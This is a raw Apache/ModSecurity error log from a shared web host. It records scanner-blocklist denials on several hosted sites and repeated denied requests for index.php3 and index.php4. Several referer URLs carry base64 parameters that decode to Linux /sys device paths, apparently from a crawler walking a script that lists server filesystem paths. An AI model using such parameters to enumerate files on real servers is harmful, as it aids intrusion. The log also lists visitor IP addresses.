https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:15:23.521769 2026] [security2:error] [pid 648189:tid 648222] [remote 17.246.19.43:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ym1WSojQL4F7upKBUWwAA6gI"] [Sat Jun 13 18:15:23.722328 2026] [access_compat:error] [pid 648189:tid 648220] [remote 57.141.14.8:33581] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:23.722792 2026] [access_compat:error] [pid 648189:tid 648220] [remote 57.141.14.8:33581] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:23.866378 2026] [access_compat:error] [pid 646876:tid 646923] [remote 57.141.14.103:25124] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:23.866698 2026] [access_compat:error] [pid 646876:tid 646923] [remote 57.141.14.103:25124] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:23.904205 2026] [security2:error] [pid 648189:tid 648231] [remote 17.22.245.102:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ym1WSojQL4F7upKBUYQAAzAs"] [Sat Jun 13 18:15:23.953912 2026] [access_compat:error] [pid 646876:tid 646925] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDE= [Sat Jun 13 18:15:23.954471 2026] [access_compat:error] [pid 646876:tid 646925] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDE= [Sat Jun 13 18:15:24.151501 2026] [security2:error] [pid 646876:tid 646915] [remote 216.73.216.137:44997] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "onemontgomerygreen.org"] [uri "/index.php/calendarevent/33rd-annual-rockville-science-day/"] [unique_id "ai3ynNyTkdrNlD40tSGfQAAAQyQ"] [Sat Jun 13 18:15:24.291027 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.24:58920] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:24.291470 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.24:58920] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:24.359910 2026] [security2:error] [pid 646876:tid 646966] [remote 17.241.227.57:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 57.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ynNyTkdrNlD40tSGfRgAAQVc"] [Sat Jun 13 18:15:24.447392 2026] [access_compat:error] [pid 646876:tid 646964] [remote 57.141.14.54:60701] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:24.447677 2026] [access_compat:error] [pid 646876:tid 646964] [remote 57.141.14.54:60701] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:24.494784 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQz [Sat Jun 13 18:15:24.495208 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQz [Sat Jun 13 18:15:24.710874 2026] [security2:error] [pid 648189:tid 648250] [remote 220.181.108.105:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 105.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ynFWSojQL4F7upKBUdgAAiR0"] [Sat Jun 13 18:15:25.011347 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:15:25.011805 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:15:25.291392 2026] [access_compat:error] [pid 646876:tid 646919] [remote 57.141.14.88:58516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:25.291835 2026] [access_compat:error] [pid 646876:tid 646919] [remote 57.141.14.88:58516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:25.358478 2026] [access_compat:error] [pid 648189:tid 648254] [remote 57.141.14.7:34343] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:25.358936 2026] [access_compat:error] [pid 648189:tid 648254] [remote 57.141.14.7:34343] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:25.570296 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:25.570734 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:25.593355 2026] [access_compat:error] [pid 646876:tid 646983] [remote 57.141.14.108:32577] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:25.593635 2026] [access_compat:error] [pid 646876:tid 646983] [remote 57.141.14.108:32577] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:25.616917 2026] [security2:error] [pid 648189:tid 648262] [remote 220.181.108.112:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 112.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ynVWSojQL4F7upKBUkQAAnCg"] [Sat Jun 13 18:15:25.699937 2026] [access_compat:error] [pid 648189:tid 648267] [remote 57.141.14.112:26504] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:25.700364 2026] [access_compat:error] [pid 648189:tid 648267] [remote 57.141.14.112:26504] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:25.742899 2026] [security2:error] [pid 648189:tid 648261] [remote 17.246.15.233:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 233.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ynVWSojQL4F7upKBUlAAAqSc"] [Sat Jun 13 18:15:26.073956 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:26.074395 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:26.108891 2026] [security2:error] [pid 646876:tid 646934] [remote 17.22.245.215:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 215.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yntyTkdrNlD40tSGfmAAAeTc"] [Sat Jun 13 18:15:26.248437 2026] [security2:error] [pid 646876:tid 646914] [remote 17.241.227.165:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 165.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yntyTkdrNlD40tSGfnQAAByM"] [Sat Jun 13 18:15:26.286070 2026] [security2:error] [pid 646876:tid 647090] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_body.phpt"] [unique_id "ai3yntyTkdrNlD40tSGfoAAAAFI"] [Sat Jun 13 18:15:26.329136 2026] [access_compat:error] [pid 646876:tid 646913] [remote 57.141.14.75:58294] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:26.329572 2026] [access_compat:error] [pid 646876:tid 646913] [remote 57.141.14.75:58294] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:26.343662 2026] [security2:error] [pid 648189:tid 648288] [remote 17.246.15.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ynlWSojQL4F7upKBUnwAA90I"] [Sat Jun 13 18:15:26.378670 2026] [security2:error] [pid 648189:tid 648287] [remote 17.241.219.166:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 166.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ynlWSojQL4F7upKBUoAAA50E"] [Sat Jun 13 18:15:26.528908 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.73:37062] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:26.529390 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.73:37062] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:26.593205 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2 [Sat Jun 13 18:15:26.593686 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2 [Sat Jun 13 18:15:26.706958 2026] [security2:error] [pid 648189:tid 648273] [remote 17.246.23.215:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 215.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ynlWSojQL4F7upKBUrgAAlTM"] [Sat Jun 13 18:15:26.871845 2026] [access_compat:error] [pid 648189:tid 648291] [remote 57.141.14.101:46638] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:26.872293 2026] [access_compat:error] [pid 648189:tid 648291] [remote 57.141.14.101:46638] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:26.875527 2026] [access_compat:error] [pid 646876:tid 646925] [remote 57.141.14.47:39592] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:26.876262 2026] [access_compat:error] [pid 646876:tid 646925] [remote 57.141.14.47:39592] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:26.919989 2026] [access_compat:error] [pid 648189:tid 648328] [remote 57.141.14.68:60908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:26.920450 2026] [access_compat:error] [pid 648189:tid 648328] [remote 57.141.14.68:60908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:27.009303 2026] [security2:error] [pid 648189:tid 648317] [remote 57.141.14.64:28012] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 64.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yn1WSojQL4F7upKBUuAAAo18"], referer: https://nelsonfarmstn.com/product/solid-beeswax-lotion-bar/?add_to_wishlist=536&_wpnonce=dacad5c21f&add-to-cart=513 [Sat Jun 13 18:15:27.164992 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 